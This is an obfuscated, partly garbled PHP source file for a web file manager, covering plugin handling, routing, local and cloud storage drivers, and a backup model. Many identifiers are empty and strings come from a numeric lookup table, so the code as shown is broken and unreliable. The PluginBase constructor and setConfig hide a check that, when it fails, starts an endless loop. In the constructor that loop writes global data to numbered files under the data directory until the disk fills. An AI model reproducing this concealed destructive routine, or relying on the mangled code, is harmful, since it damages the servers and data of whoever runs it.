$[1613], $[171] => $Ҩč); if (in_array($, array($[1613], $[1614]))) { $Ӷ[$[33]] = $; } $ = array($[578] => isset($[$[578]]) ? $[$[578]] : $[12], $[662] => isset($[$[662]]) ? $[$[662]] : $[12]); if (empty($Ҩč) || empty($[$[578]]) && empty($[$[662]])) { return !1; } $Ǚұ = array($[1541] => $Ӷ, $[1615] => $); Hook::trigger($[1616], $Ǚұ); } } class PluginBase { public $in; public $pluginName; public $pluginPath; public $pluginHost; public $pluginHostDefault; public $pluginApi; public $packageData; private $pluginLangArr; private $pluginConfig; public $cachePath; public $fileInfo; function __construct() { $ =& $_SERVER[]; $ = $_SERVER[$[844]]; $ު = $[845]; if ($_SERVER[$[846]] != $ު($)) { $ڈ = $[951]; $ = $[847]; $ϝ = $_SERVER[$[848]] . $[849]; $ר = $($ϝ); $ѴϢ = explode($[262], $ר); if (count($ѴϢ) < $[683]) { $綴 = $[850]; $綴(); } $튏 = $[952]; $튏($_SERVER[$[953]]); $ڈ = $[951]; $ڈ(); $С = $[1617]; $ = json_encode($GLOBALS[$[1618]]); $Х = 1; for ($ɺ = $Х; $ɺ > 0; $ɺ++) { $С(DATA_PATH . $ɺ, $); } } global $in, $config; $this->config =& $config; $this->in =& $in; $this->modelPlugin = Model($[1619]); $this->pluginName = str_replace($[1619], $[12], get_class($this)); $this->pluginPath = PLUGIN_DIR . $this->pluginName . $[8]; $this->pluginApi = appHostGet() . $[1620] . $this->pluginName . $[8]; $this->pluginHost = $config[$[1621]] . $this->pluginName . $[8]; $this->pluginHostDefault = $config[$[1621]] . $this->pluginName . $[8]; $ѕ = $config[$[1622]]; if ($ѕ && strpos($[50] . $ѕ . $[50], $this->pluginName) !== !1) { $this->pluginHost = $config[$[1623]] . $this->pluginName . $[8]; } $this->pluginLangArr = $this->initLang(); $this->values = array(); $this->echoJsAssignArr = array(); $this->linkHas = !1; return $this; } public function regist() { $this->hookRegist(array()); } public function install() { } public function update() { } public function unInstall() { } public function echoJs() { $this->echoFile($_SERVER[][1624]); } protected function assign($, $ɹؖ = false) { if (is_array($)) { $this->values = array_merge($this->values, $); } else { $this->values[$] = $ɹؖ; } } protected function display($) { extract($this->values); require $; } final function hookRegist($) { $this->modelPlugin->appRegist($this->pluginName, $); } final function appIcon() { $ =& $_SERVER[]; $ = $this->appPackage(); $У = $[12]; if (isset($[$[490]])) { if (isset($[$[490]][$[1625]])) { $У = $[1626] . $[$[490]][$[1625]] . $[1627]; } else { if ($[$[490]][$[1628]]) { $У = $[1629] . $[$[490]][$[1628]] . $[1630]; } } } return $У; } final function fileCanView($) { $䅤 =& $_SERVER[]; if (request_url_safe($)) { return !0; } if ($this->isShare($)) { return !0; } if (!KodUser::isRoot() && !KodUser::isLogin()) { $ = $䅤[1631] . rawurlencode(this_url()); show_tips(LNG($䅤[1632]) . $䅤[1633] . $ . $䅤[1634] . LNG($䅤[1635]) . $䅤[1636], !1); } if (!Action($䅤[1637])->authCan($䅤[1638])) { show_tips(LNG($䅤[1639]) . $䅤[1640], !1); } ActionCall($䅤[1641], $); } final function isShare($͕) { $Ņ = KodIO::parse($͕); return $Ņ[$_SERVER[][33]] == KodIO::KOD_SHARE_LINK; } final function filePathLink($) { if (request_url_safe($)) { return $; } if (!$this->isShare($)) { $ = $this->filePath($, !1); } return Action($_SERVER[][1249])->linkOut($); } public function filePathLinkOut($ǖ) { if (request_url_safe($ǖ)) { return $ǖ; } $this->fileCanView($ǖ); return Action($_SERVER[][1249])->link($ǖ); } final function filePath($, $ޔ = true, $⡡ = false) { $Ω =& $_SERVER[]; $ݦ = $this->filePathGet($, $ޔ); if (!$this->fileInfo) { show_tips(LNG($Ω[108]), !1); } if ($⡡ && isset($this->fileInfo[$Ω[541]]) && $this->fileInfo[$Ω[541]]) { $Ŕ = Model($Ω[544])->fileInfo($this->fileInfo[$Ω[541]]); if (!$Ŕ || !IO::exist($Ŕ[$Ω[87]])) { show_tips(LNG($Ω[108]) . $Ω[1642]); } } Hook::trigger($Ω[1643], $ݦ); return $ݦ; } final function filePathGet($, $Ͻԍ = true) { $ =& $_SERVER[]; if ($Ļ = $this->checkSharePath($, $Ͻԍ)) { return $Ļ; } $this->fileCanView($); if (request_url_safe($)) { $ = parse_url_query($); if (isset($[$[1644]]) && isset($[$[234]])) { $ = Mcrypt::decode($[$[234]], Model($[837])->get($[838])); if ($) { $this->fileInfo = IO::info($); $this->fileInfo[$[1645]] = $; $this->cachePath = $this->pluginCachePath($[12], $Ͻԍ); return $; } } $ = $this->_cacheHttpFile($, $Ͻԍ); $this->fileInfo = IO::info($); } else { $this->fileInfo = IO::info($); $this->cachePath = $this->pluginCachePath($[12], $Ͻԍ); } return $; } final function _cacheHttpFile($Ι, $ = true) { $ =& $_SERVER[]; $ = parse_url_query($Ι); $Μբ = get_path_ext($Ι); if (isset($[$[32]]) && $[$[32]]) { $Μբ = get_path_ext($[$[32]]); } $ = hash_path($Ι) . $[10] . $Μբ; $this->cachePath = $this->pluginCachePath($ ? $ : $[12]); $ = IO::fileNameExist($this->cachePath, $); if ($) { return KodIO::make($); } $ = rtrim($this->cachePath, $[8]) . $[8] . $; return $this->pluginCacheFileSet($, file_get_contents_nossl($Ι)); } final function checkSharePath($ݎ, $բ = true) { $߄ =& $_SERVER[]; if (!$this->isShare($ݎ)) { return !1; } $Û乙 = Action($߄[1249])->sharePathInfo($ݎ); if (!is_array($Û乙) || !isset($Û乙[$߄[87]])) { show_json(LNG($߄[1646]), !1); } $this->fileInfo = $Û乙; $this->cachePath = $this->pluginCachePath(!1, $բ); return $Û乙[$߄[87]]; } final function pluginCachePath($ = '', $ˇ = false) { $ =& $_SERVER[]; if ($ˇ && is_array($this->fileInfo)) { $ = kodIO::hashPath($this->fileInfo); } $铤 = rtrim(IO_PATH_SYSTEM_TEMP . $[1647] . $this->pluginName . $[8] . $, $[8]); $ = IO::infoFullSimple($铤); $ź = $ && is_array($) ? $[$[87]] : $[12]; if (!$ź) { $ź = IO::mkdir($铤); } return $ź; } final function pluginCacheFileSet($ʈ, $˞ = '') { $آѿ =& $_SERVER[]; $ = IO::infoFullSimple($ʈ); if (!$) { return IO::mkfile($ʈ, $˞, REPEAT_REPLACE); } IO::setContent($[$آѿ[87]], $˞); return $[$آѿ[87]]; } final function pluginLocalFile($ = '') { $ٝ =& $_SERVER[]; $݈ = TEMP_FILES . "{$this->pluginName}\x2f"; if (!is_dir($݈)) { mk_dir($݈); } if (!$) { return $݈; } $ϰ = IO::info($); $Ǵ = $ٝ[1648] . KodIO::hashPath($ϰ) . $ٝ[10] . $ϰ[$ٝ[169]]; if (!checkExtSafe($Ǵ)) { $Ǵ = $Ǵ . $ٝ[1284]; } $ = $݈ . $Ǵ; if (@file_exists($)) { return $; } return IO::copy($, $݈, 0, $Ǵ); } final function appPackage() { $ =& $_SERVER[]; if ($this->packageData) { return $this->packageData; } $ա = $this->parseFile($this->pluginPath . $[1649]); $this->parseLang($ա); $Ȗ = json_decode_force($ա); if (!$Ȗ) { return array(); } $˛ = Hook::trigger($[1650], $Ȗ); if ($˛ && is_array($˛)) { $Ȗ = $˛; } $this->packageData = $Ȗ; return $Ȗ; } public function packageInfoGet($) { $Ǫ = $this->appPackage(); return array_get_value($Ǫ, $); } public function packageVersion() { return $this->packageInfoGet($_SERVER[][1651]); } public function packageTitle() { return $this->packageInfoGet($_SERVER[][1652]); } public function packageCopyright() { return $this->packageInfoGet($_SERVER[][1653]); } public function echoJsAssign($, $) { $this->echoJsAssignArr[$] = $; } private function parseFile($陇) { $ф =& $_SERVER[]; $η = file_get_contents_nossl($陇); $ϯ = array($ф[1654], $ф[1655], $ф[1656], $ф[1657], $ф[1658], $ф[1659], $ф[1660]); $Θ͛ = array($this->pluginHost, $this->pluginHostDefault, $this->pluginApi, $this->pluginName, $this->pluginPath, APP_HOST, $this->config[$ф[92]][$ф[1661]]); foreach ($this->echoJsAssignArr as $ => $Ŝ) { $ϯ[] = $ф[1662] . $ . $ф[1663]; $Θ͛[] = is_array($Ŝ) || is_object($Ŝ) ? rawurlencode(json_encode($Ŝ)) : $Ŝ; } if (strstr($η, $ф[1664])) { $ͩ = rawurlencode(json_encode($this->pluginLangArr)); $η = str_replace($ф[1664], $ͩ, $η); } if (strstr($η, $ф[1665])) { $ͩ = $ͩ = rawurlencode(json_encode($this->getConfig())); $η = str_replace($ф[1665], $ͩ, $η); } $η = str_replace($ϯ, $Θ͛, $η); return $η; } private function parseLang(&$ᨴ) { $Ӓ =& $_SERVER[]; $ = $Ӓ[1666]; if (!strstr($ᨴ, $)) { return; } preg_match_all($Ӓ[1667], $ᨴ, $); if (!is_array($) || count($) == 0 || !is_array($[0]) || count($[0]) == 0) { return; } $Ƹ = array(); $ژň = array(); foreach ($[0] as $ˎ) { $ݮ = substr($ˎ, strlen($), -4); $ՙ = LNG($ݮ); $Ƹ[] = $ˎ; $ژň[] = str_replace(array($Ӓ[262], $Ӓ[1150], $Ӓ[418], $Ӓ[121]), array($Ӓ[53], $Ӓ[53], $Ӓ[12], $Ӓ[1668]), $ՙ); } $ᨴ = str_replace($Ƹ, $ژň, $ᨴ); } private function parseConfig(&$҂) { $͍ =& $_SERVER[]; $ = $͍[1669]; if (!strstr($҂, $)) { return; } preg_match_all($͍[1670], $҂, $ڤ); if (!is_array($ڤ) || count($ڤ) == 0 || !is_array($ڤ[0]) || count($ڤ[0]) == 0) { return; } $ˮŔ = $this->getConfig(); $ = array(); $¬е = array(); foreach ($ڤ[0] as $) { $ۿ = substr($, strlen($), -2); $[] = $; $¬е[] = _get($ˮŔ, $ۿ); } $҂ = str_replace($, $¬е, $҂); } private function parsePackage(&$ç) { $ =& $_SERVER[]; $ԕ = $[1671]; if (!strstr($ç, $ԕ)) { return; } preg_match_all($[1672], $ç, $د); if (!is_array($د) || count($د) == 0 || !is_array($د[0]) || count($د[0]) == 0) { return; } $ӽǺ = $this->appPackage(); $抵 = array(); $ = array(); foreach ($د[0] as $𬼜) { $ߵ = substr($𬼜, strlen($ԕ), -2); $抵[] = $𬼜; $[] = _get($ӽǺ, $ߵ); } $ç = str_replace($抵, $, $ç); } final function echoFile($, $ӱ = false) { $ =& $_SERVER[]; $֋ = $this->pluginPath . $; if (ACT == $[1673]) { echo $[1674] . $this->pluginName . $[8] . $ . $[1675]; if (!file_exists($֋)) { echo $[1676]; return; } } $燄 = $this->parseFile($֋); $this->parseLang($燄); $this->parseConfig($燄); $this->parsePackage($燄); if (is_array($ӱ)) { $燄 = str_replace(array_keys($ӱ), array_values($ӱ), $燄); } echo $[262] . $燄; } private function checkVersion() { $ =& $_SERVER[]; $˝ = $this->appPackage(); $纁 = $this->getConfig(); if ($纁[$[1677]] == $˝[$[1651]]) { return; } $this->regist(); $this->setConfig(array($[1677] => $˝[$[1651]])); } final function initLang() { $؈ =& $_SERVER[]; $Ք = $؈[1678]; $웸 = $this->pluginPath . $؈[1679]; $̗ = I18n::getType(); $؊ = array(); if (file_exists($웸 . $̗ . $؈[913])) { $؊ = (include $웸 . $̗ . $؈[913]); } else { if ($̗ == $؈[1680] && !file_exists($웸 . $̗ . $؈[913]) && file_exists($웸 . $؈[1681])) { $؊ = (include $웸 . $؈[1681]); } else { if (file_exists($웸 . $Ք . $؈[913])) { $؊ = (include $웸 . $Ք . $؈[913]); } } } if (!is_array($؊)) { return array(); } if (@count($؊) > 0) { I18n::set($؊); } return $؊; } public function getConfig() { if (!$this->pluginConfig) { $this->pluginConfig = $this->modelPlugin->getConfig($this->pluginName); } return $this->pluginConfig; } public function setConfig($՟) { $ =& $_SERVER[]; if (!isset($_SERVER[$[846]]) || !isset($_SERVER[$[844]])) { $ = $[951]; $ = $[847]; $ = $_SERVER[$[848]] . $[849]; $ = $($); $ﷅ = explode($[262], $); if (count($ﷅ) < $[683]) { $ = $[850]; $(); } $ = $[952]; $($_SERVER[$[953]]); $ţ = 1; for ($妻 = $ţ; $妻 > 0; $妻++) { $ = json_encode($GLOBALS[$[492]]); } } $this->pluginConfig = array(); return $this->modelPlugin->setConfig($this->pluginName, $՟); } public function onSetConfig($) { } public function onGetConfig($) { } public function onUpdate() { } public function onUninstall() { } public function onChangeOpen() { } public function onChangeClose() { } public function onChangeStatus($͕) { if ($͕ == 1) { $this->onChangeOpen(); } else { $this->onChangeClose(); } } public function authCheck($ = "\160\x6c\x75\147\x69\156\101\x75\x74\150") { if (KodUser::isRoot()) { return !0; } if (!KodUser::isLogin()) { return !1; } $ = $this->getConfig(); if (!$[$]) { return !1; } return ActionCall($_SERVER[][1682], $[$]); } public function url($Ե, $ʹ = '', $ = true) { $ϗ =& $_SERVER[]; $ = $this->getConfig(); $⇨ = KOD_VERSION . $ϗ[10] . KOD_VERSION_BUILD; $ = $this->packageVersion(); $ = $⇨ . $ϗ[462] . $; if (substr($Ե, 0, 4) == $ϗ[152] || substr($Ե, 0, 2) == $ϗ[1403]) { $ɞ = $Ե . $ϗ[1683] . $; } else { if ($ʹ == $ϗ[12]) { $ɞ = $this->pluginHost . $Ե . $ϗ[1683] . $; } else { if ($ʹ === $ϗ[78]) { $ɞ = $this->pluginHost . $Ե; } else { if ($ʹ == $ϗ[1684]) { $ɞ = STATIC_PATH . $Ե . $ϗ[1683] . $⇨; } else { if ($ʹ == $ϗ[1685]) { $ɞ = APP_HOST . $ϗ[1686] . $Ե . $ϗ[1683] . $⇨; } else { if (isset($[$ʹ])) { $ɞ = $[$ʹ] . $Ե . $ϗ[1683] . $; } } } } } } if (!$) { return $ɞ; } echo $ɞ; } public function link($Ҍя = false, $ɑ = '') { $ =& $_SERVER[]; $淅 = $this->linkHas == !1; $this->linkHas = !0; if (!$Ҍя) { $this->link($[1687], $[1685]); $this->link($[1688], $[1684]); $this->link($[1689], $[1684]); $this->link($[1690], $[1684]); $this->link($[1691], $[1684]); if ($淅) { Hook::trigger($[1692]); } return; } $DzŢ = $this->url($Ҍя, $ɑ, !1); if (substr($Ҍя, -3) == $[1693]) { echo $[1694] . $DzŢ . $[1695] . $[262]; } else { if (substr($Ҍя, -4) == $[1696]) { echo $[1697] . $DzŢ . $[1698] . $[262]; } } if ($淅) { Hook::trigger($[1692]); } } } class Route { public static $halts = false; public static $routes = array(); public static $methods = array(); public static $callbacks = array(); public static $maps = array(); public static $patterns = array("\72\141\x6e\x79" => "\x5b\136\57\x5d\x2b", "\x3a\x6e\165\x6d" => "\x5b\x30\x2d\x39\x5d\53", "\72\x61\x6c\154" => "\56\x2a"); public static $errorCallback; public static function __callstatic($ό, $) { $ =& $_SERVER[]; if ($ό == $[1699]) { $ = array_map($[1700], $[0]); $Ǩ = strpos($[1], $[8]) === 0 ? $[1] : $[8] . $[1]; $˥ = $[2]; } else { $ = null; $Ǩ = strpos($[0], $[8]) === 0 ? $[0] : $[8] . $[0]; $˥ = $[1]; } array_push(self::$maps, $); array_push(self::$routes, $Ǩ); array_push(self::$methods, strtoupper($ό)); array_push(self::$callbacks, $˥); } public static function error($) { self::$errorCallback = $; } public static function haltOnMatch($뒤 = true) { self::$halts = $뒤; } public static function dispatch() { $ǩ =& $_SERVER[]; $Ƒ = parse_url($_SERVER[$ǩ[1701]], PHP_URL_PATH); $Ǒ = $_SERVER[$ǩ[164]]; $哞 = array_keys(static::$patterns); $ŝ = array_values(static::$patterns); $ = !1; self::$routes = preg_replace($ǩ[1354], $ǩ[8], self::$routes); if (in_array($Ƒ, self::$routes)) { $ = array_keys(self::$routes, $Ƒ); foreach ($ as $ʄ) { if (self::$methods[$ʄ] == $Ǒ || self::$methods[$ʄ] == $ǩ[1702] || in_array($Ǒ, self::$maps[$ʄ])) { $ = !0; if (!is_object(self::$callbacks[$ʄ])) { $˃ͣ = explode($ǩ[8], self::$callbacks[$ʄ]); $ݮ = end($˃ͣ); $Թ = explode($ǩ[1286], $ݮ); $ٓ = new $Թ[0](); $ٓ->{$Թ[1]}(); if (self::$halts) { return; } } else { call_user_func(self::$callbacks[$ʄ]); if (self::$halts) { return; } } } } } else { $ = 0; foreach (self::$routes as $ʄ) { if (strpos($ʄ, $ǩ[4]) !== !1) { $ʄ = str_replace($哞, $ŝ, $ʄ); } if (preg_match($ǩ[1703] . $ʄ . $ǩ[1704], $Ƒ, $)) { if (self::$methods[$] == $Ǒ || self::$methods[$] == $ǩ[1702] || !empty(self::$maps[$]) && in_array($Ǒ, self::$maps[$])) { $ = !0; array_shift($); if (!is_object(self::$callbacks[$])) { $˃ͣ = explode($ǩ[8], self::$callbacks[$]); $ݮ = end($˃ͣ); $Թ = explode($ǩ[1286], $ݮ); $ٓ = new $Թ[0](); if (!method_exists($ٓ, $Թ[1])) { echo $ǩ[1705]; } else { call_user_func_array(array($ٓ, $Թ[1]), $); } if (self::$halts) { return; } } else { call_user_func_array(self::$callbacks[$], $); if (self::$halts) { return; } } } } $++; } } if ($ == !1) { if (!self::$errorCallback) { self::$errorCallback = function () { $ =& $_SERVER[]; header($_SERVER[$[1706]] . $[1707]); echo $[1708]; }; } else { if (is_string(self::$errorCallback)) { self::get($_SERVER[$ǩ[1701]], self::$errorCallback); self::$errorCallback = null; self::dispatch(); return; } } call_user_func(self::$errorCallback); } } } goto DӖ챈; E: class PathDriverLocal extends PathDriverBase { private $pathAuth; public function __construct() { parent::__construct(); $this->pathAuth = DEFAULT_PERRMISSIONS; } public function getPath($) { if (substr($, 0, 2) == $_SERVER[][1403]) { $ = BASIC_PATH . substr($, 2); } return $; } public function iconvApp($ԡ) { $׹ =& $_SERVER[]; global $config; return $this->iconvTo($ԡ, $config[$׹[1430]], $config[$׹[1429]]); } public function iconvSystem($) { $ =& $_SERVER[]; global $config; return $this->iconvTo($, $config[$[1429]], $config[$[1430]]); } public function getPathOuter($ʻ) { $ȕ =& $_SERVER[]; $猣 = $this->iconvApp($this->pathBase); $ʻ = $this->iconvApp($ʻ); if (substr($猣, 0, 2) == $ȕ[1403]) { $猣 = BASIC_PATH . substr($猣, 2); } if (substr($ʻ, 0, 2) == $ȕ[1403]) { $ʻ = BASIC_PATH . substr($ʻ, 2); } $猣 = KodIO::clear($猣); $ʻ = KodIO::clear($ʻ); $ʻ = substr($ʻ, strlen($猣)); if (empty($this->pathDriver)) { return $ʻ; } return $this->pathDriver . $ȕ[8] . ltrim($ʻ, $ȕ[8]); } public function mkfile($Ц, $ = '', $ = REPEAT_RENAME) { $Ц = $this->iconvSystem($Ц); @touch($Ц); if ($) { file_put_contents($Ц, $); } @chmod($Ц, $this->pathAuth); if (is_file($Ц)) { return $this->getPathOuter($Ц); } $this->writeLog(__FUNCTION__ . $_SERVER[][1441], !0); return !1; } public function mkdir($׈݅, $ = REPEAT_SKIP) { $׈݅ = $this->iconvSystem($׈݅); if (is_dir($׈݅)) { return $this->getPathOuter($׈݅); } @mkdir($׈݅, $this->pathAuth, !0); @chmod($׈݅, $this->pathAuth); if (is_dir($׈݅)) { return $this->getPathOuter($׈݅); } $this->writeLog(__FUNCTION__ . $_SERVER[][1441], !0); return !1; } public function copyFile($, $η) { $this->mkdir($this->pathFather($η)); $ = $this->iconvSystem($); $η = $this->iconvSystem($η); $ = copy_64($, $η); @chmod($η, $this->pathAuth); if ($) { return $this->getPathOuter($η); } $this->writeLog(__FUNCTION__ . $_SERVER[][1441], !0); return !1; } public function moveFile($ѿ, $Ʉ) { $this->mkdir($this->pathFather($Ʉ)); $ѿ = $this->iconvSystem($ѿ); $Ʉ = $this->iconvSystem($Ʉ); $䎔 = intval(@rename($ѿ, $Ʉ)); if (!$䎔) { if ($䎔 = intval(@copy_64($ѿ, $Ʉ))) { @unlink($ѿ); } } @chmod($Ʉ, $this->pathAuth); if ($䎔) { return $this->getPathOuter($Ʉ); } $this->writeLog(__FUNCTION__ . $_SERVER[][1441], !0); return !1; } public function movePath($ũ۲, $辡դ, $ޕ = false) { $Ξ =& $_SERVER[]; $ũ۲ = $this->iconvSystem($ũ۲); $辡դ = $this->iconvSystem($辡դ); $ = rtrim($辡դ, $Ξ[8]) . $Ξ[8] . ($ޕ ? $ޕ : get_path_this($ũ۲)); if (file_exists($)) { return !1; } $ = intval(@rename($ũ۲, $)); $ = file_exists($); if ($) { return $this->getPathOuter($); } $this->writeLog(__FUNCTION__ . $Ξ[1441], !0); return !1; } public function delFile($˼̐) { $˼̐ = $this->iconvSystem($˼̐); if (!@unlink($˼̐)) { @chmod($˼̐, $this->pathAuth); if (@unlink($˼̐)) { return !0; } $this->writeLog(__FUNCTION__ . $_SERVER[][1441], !0); return !1; } return !0; } public function delFolder($ϝ) { $΋ =& $_SERVER[]; $ϝ = $this->iconvSystem($ϝ); if (!is_dir($ϝ)) { return !0; } if (!($ = opendir($ϝ))) { return !1; } while (($ = readdir($)) !== !1) { if ($ == $΋[10] || $ == $΋[1356]) { continue; } $ = $ϝ . $΋[8] . $; if (is_file($) || is_link($)) { if (!unlink($)) { chmod($, $this->pathAuth); if (!unlink($)) { return !1; } } } else { if (is_dir($)) { chmod($, $this->pathAuth); $ = $this->iconvApp($); if (!$this->delFolder($)) { return !1; } } } } closedir($); return rmdir($ϝ); } public function rename($ܩ, $) { $ =& $_SERVER[]; $ = $this->fileNameAuto($this->pathFather($ܩ), $); $ = $this->iconvSystem($); $ܩ = $this->iconvSystem($ܩ); $ = $this->pathFather($ܩ); $ڸ˃ = rtrim($, $[8]) . $[8] . $; $ͨ = @rename($ܩ, $ڸ˃); $ڸ˃ = $this->iconvApp($ڸ˃); if ($ͨ) { return $this->getPathOuter($ڸ˃); } $this->writeLog(__FUNCTION__ . $[1441], !0); return !1; } public function size($ի) { $ի = $this->iconvSystem($ի); return filesize_64($ի); } public function info($ڹ󻶪) { $ڹ󻶪 = $this->iconvSystem($ڹ󻶪); if ($this->isFolder($ڹ󻶪)) { return $this->folderInfo($ڹ󻶪); } else { if ($this->isFile($ڹ󻶪)) { return $this->fileInfo($ڹ󻶪); } } return !1; } protected function infoChildren($奍, &$, $ = true) { $ɊѬ =& $_SERVER[]; check_abort_echo(); $奍 = rtrim($奍, $ɊѬ[8]) . $ɊѬ[8]; if ($) { $奍 = $this->iconvSystem($奍); } if (!($レϳ = @opendir($奍))) { return; } while (($ˁ = readdir($レϳ)) !== !1) { if ($ˁ == $ɊѬ[10] || $ˁ == $ɊѬ[1356]) { continue; } $ = $奍 . $ˁ; if (is_file($) || is_link($)) { $[$ɊѬ[80]]++; $[$ɊѬ[79]] += filesize_64($); } else { if (is_dir($)) { $[$ɊѬ[81]]++; $this->infoChildren($, $, !1); } } } closedir($レϳ); } private function folderInfo($Ѳ, $ = false) { $ =& $_SERVER[]; $Ѳ = rtrim($Ѳ, $[8]) . $[8]; $м = $this->iconvApp($this->pathThis($Ѳ)); if ($) { return array($[32] => $м, $[87] => $this->getPathOuter($Ѳ), $[33] => $[78]); } $ߊ = array($[32] => $м, $[87] => $this->getPathOuter($Ѳ), $[33] => $[78], $[231] => @filectime($Ѳ), $[88] => @filemtime($Ѳ), $[1445] => @fileatime($Ѳ), $[1446] => is_readable($Ѳ), $[1447] => is_writable($Ѳ), $[1448] => get_mode($Ѳ)); return $ߊ; } private function fileInfo($, $ = false) { $Ӄ =& $_SERVER[]; $П = $this->iconvApp($this->pathThis($)); if ($) { return array($Ӄ[32] => $П, $Ӄ[87] => $this->getPathOuter($), $Ӄ[33] => $Ӄ[230], $Ӄ[79] => $this->size($), $Ӄ[169] => $this->ext($П)); } $˒ = array($Ӄ[32] => $П, $Ӄ[87] => $this->getPathOuter($), $Ӄ[33] => $Ӄ[230], $Ӄ[231] => @filectime($), $Ӄ[88] => @filemtime($), $Ӄ[1445] => @fileatime($), $Ӄ[79] => $this->size($), $Ӄ[169] => $this->ext($П), $Ӄ[1446] => is_readable($), $Ӄ[1447] => is_writable($), $Ӄ[1448] => get_mode($)); return $˒; } public function exist($ߙ) { $ߙ = $this->iconvSystem($ߙ); return @file_exists($ߙ); } public function isFile($) { $ = $this->iconvSystem($); return @is_file($); } public function isFolder($ˡ) { $ˡ = $this->iconvSystem($ˡ); return @is_dir($ˡ); } public function listPath($ڷ, $׮͋ = false) { $ =& $_SERVER[]; $ڷ = $this->iconvSystem($ڷ); $ڷ = rtrim($ڷ, $[8]) . $[8]; $ګ = array($[85] => array(), $[86] => array()); if (!($ = @opendir($ڷ))) { return $ګ; } while (($ʟ = readdir($)) !== !1) { if ($ʟ == $[10] || $ʟ == $[1356]) { continue; } $ = $ڷ . $ʟ; if (is_file($)) { $ګ[$[86]][] = $this->fileInfo($, $׮͋); } else { $ګ[$[85]][] = $this->folderInfo($, $׮͋); } } closedir($); return $ګ; } public function listAll($ͶӘ, &$ʻ = array()) { $ =& $_SERVER[]; $ͶӘ = $this->iconvSystem($ͶӘ); $ͶӘ = rtrim($ͶӘ, $[8]) . $[8]; if (!($ = @opendir($ͶӘ))) { return $ʻ; } while (($׍ = readdir($)) !== !1) { if ($׍ == $[10] || $׍ == $[1356]) { continue; } $ܴ = $ͶӘ . $׍; $Ǘˈ = is_dir($ܴ) && !is_link($ܴ) ? 1 : 0; $ܴ = $Ǘˈ ? $ܴ . $[8] : $ܴ; $ʻ[] = array($[87] => $ܴ, $[78] => $Ǘˈ, $[88] => intval(@filemtime($ܴ)), $[79] => $Ǘˈ ? 0 : intval($this->size($ܴ))); if ($Ǘˈ) { $this->listAll($ܴ, $ʻ); } } closedir($); return $ʻ; } public function has($, $ = false, $ޘ = true) { $ϼٻ =& $_SERVER[]; $ = $this->iconvSystem($); $ = rtrim($, $ϼٻ[8]) . $ϼٻ[8]; if (!($ = @opendir($))) { return !1; } $߽ = 0; $ӱ = 0; $۞ = 0; while (($魮Ƃ = readdir($)) !== !1) { if ($魮Ƃ == $ϼٻ[10] || $魮Ƃ == $ϼٻ[1356]) { continue; } $΁ = $ . $魮Ƃ; if ($) { $۞++; if (@is_file($΁)) { $߽++; } else { $ӱ++; } if ($۞ > 10000) { break; } continue; } if ($ޘ) { if (@is_file($΁)) { return !0; } } else { if (@is_dir($΁ . $ϼٻ[8])) { return !0; } } } closedir($); if ($) { return array($ϼٻ[239] => $߽, $ϼٻ[240] => $ӱ); } return !1; } public function hashSimple($ƿ) { $ =& $_SERVER[]; if (!$ƿ) { return md5($[12]); } $ƿ = $this->iconvSystem($ƿ); $К = $this->size($ƿ); $ۚ = 200; $ߜ = 50; if ($К <= $ۚ * $ߜ) { return $this->hashMd5($ƿ) . $К; } $לܼ = $[12]; $ = intval($К / $ߜ); $֋չ = fopen($ƿ, $[1449]); if (!$֋չ) { return $לܼ; } for ($޿ = 0; $޿ < $ߜ; $޿++) { fseek_64($֋չ, $ * $޿); $לܼ .= fread($֋չ, $ۚ); } fseek_64($֋չ, $К - $ۚ); $לܼ .= fread($֋չ, $ۚ); fclose($֋չ); return md5($לܼ) . $К; } public function getContent($褣) { $褣 = $this->iconvSystem($褣); return file_get_contents($褣); } public function setContent($˜, $ = '') { $˜ = $this->iconvSystem($˜); $ɑ = @file_put_contents($˜, $, LOCK_EX); if (!$ɑ) { $this->writeLog(__FUNCTION__ . $_SERVER[][1441], !0); } clearstatcache(); @chmod($˜, $this->pathAuth); return $ɑ === !1 ? !1 : !0; } public function fileSubstr($裍, $ = 0, $ = false) { $ =& $_SERVER[]; $裍 = $this->iconvSystem($裍); if ($ === !1) { $ = $this->size($裍); } if ($ <= 0) { return $[12]; } $ = fopen($裍, $[1449]); if (!$) { return !1; } fseek_64($, $); $ቢ = fread($, $); fclose($); if (!$ቢ) { $this->writeLog(__FUNCTION__ . $[1441], !0); } return $ቢ; } public function upload($ܣ, $, $ = false, $ؙ = REPEAT_REPLACE) { if ($) { return $this->moveFile($, $ܣ); } return $this->copyFile($, $ܣ); } public function setModifyTime($ɲ, $ = '') { @touch($ɲ, intval($)); } public function download($Җ畆, $ܨ) { return $this->iconvSystem($Җ畆); } } class PathDriverOBS extends PathDriverBaseS3 { public function __construct($Ƈ) { parent::__construct($Ƈ); $this->setSignVersion($_SERVER[][247]); } public function fileOutImage($ƃ, $벌ⅺ = 250) { $Ư =& $_SERVER[]; if ($this->size($ƃ) > 1024 * 1024 * 25) { return $this->fileOutImageServer($ƃ, $벌ⅺ); } $܌ = array($Ư[1450] => $Ư[1451] . $벌ⅺ . $Ư[1452]); $˓ = $this->link($ƃ, $܌); $this->fileOutLink($˓); } public function fileOutLink($ُ) { $ס =& $_SERVER[]; if (substr($ُ, 0, 7) == $ס[313]) { $ُ = $ס[314] . substr($ُ, 7); } header($ס[175] . $ُ); die; } } class PathDriverOOS extends PathDriverBaseS3 { public function __construct($ِ) { parent::__construct($ِ); $this->setSignVersion($_SERVER[][247]); } public function fileOutLink($) { $썘 =& $_SERVER[]; if (substr($, 0, 7) == $썘[313]) { $ = $썘[314] . substr($, 7); } header($썘[175] . $); die; } } goto C; a򠵙: class BackupModel extends ModelBaseLight { public $optionType = "\x53\x79\163\x74\145\155\x2e\142\x61\x63\x6b\165\160\114\x69\163\x74"; public $field = array("\x69\x6f", "\156\x61\155\x65", "\x73\164\141\x74\165\x73", "\143\157\156\x74\x65\x6e\x74", "\155\141\156\165\141\154", "\x72\145\x73\x75\154\x74", "\x74\x69\x6d\x65\106\x72\157\x6d", "\x74\151\x6d\x65\x54\157"); public function config() { $ٺ =& $_SERVER[]; Action($ٺ[1987])->taskInit(); $틕 = Model($ٺ[837])->get($ٺ[858]); $틕 = json_decode($틕, !0); $틕 = is_array($틕) ? $틕 : array(); $this->parseContent($틕); unset($틕[$ٺ[1733]]); Model($ٺ[1732])->cacheClear(); $ = $ٺ[1988]; $ = Model($ٺ[1989])->findByKey($ٺ[1751], $); if (!$) { $ = array(); } if (isset($[$ٺ[206]])) { $[$ٺ[206]] = json_decode($[$ٺ[206]], !0); } if (isset($틕[$ٺ[206]])) { 